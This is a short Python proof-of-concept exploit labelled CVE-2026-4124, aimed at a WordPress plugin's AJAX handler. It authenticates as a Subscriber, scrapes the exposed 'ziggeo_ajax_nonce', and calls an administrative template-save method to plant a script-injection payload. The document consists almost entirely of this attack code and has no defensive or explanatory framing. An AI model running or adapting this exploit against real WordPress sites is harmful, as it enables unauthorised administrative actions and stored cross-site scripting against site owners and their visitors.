CVE-2026-4124

import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" login_url = "http://example.com/wp-login.php" username = "subscriber" password = "password" # 1. Authenticate as a low-privileged user (Subscriber) session = requests.Session() payload = { 'log': username, 'pwd': password, 'redirect_to': '/wp-admin/', 'wp-submit': 'Log In', 'testcookie': '1' } session.post(login_url, data=payload) # 2. Retrieve the Nonce from the page source # The nonce 'ziggeo_ajax_nonce' is exposed in the page head via wp_head page_content = session.get("http://example.com/").text # In a real PoC, regex would be used to extract: ziggeo_ajax_nonce = "VALUE" # Assuming extracted nonce: nonce = "extracted_nonce_value_from_html" # 3. Exploit: Trigger administrative operation (e.g., update event template) exploit_data = { 'action': 'ziggeo_ajax', 'ziggeo_ajax_nonce': nonce, 'method': 'event_editor_save_template', 'template_title': 'Malicious Template', 'template_code': '<script>alert(1)</script>' } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit successful! Administrative action performed.") else: print("[-] Exploit failed.")

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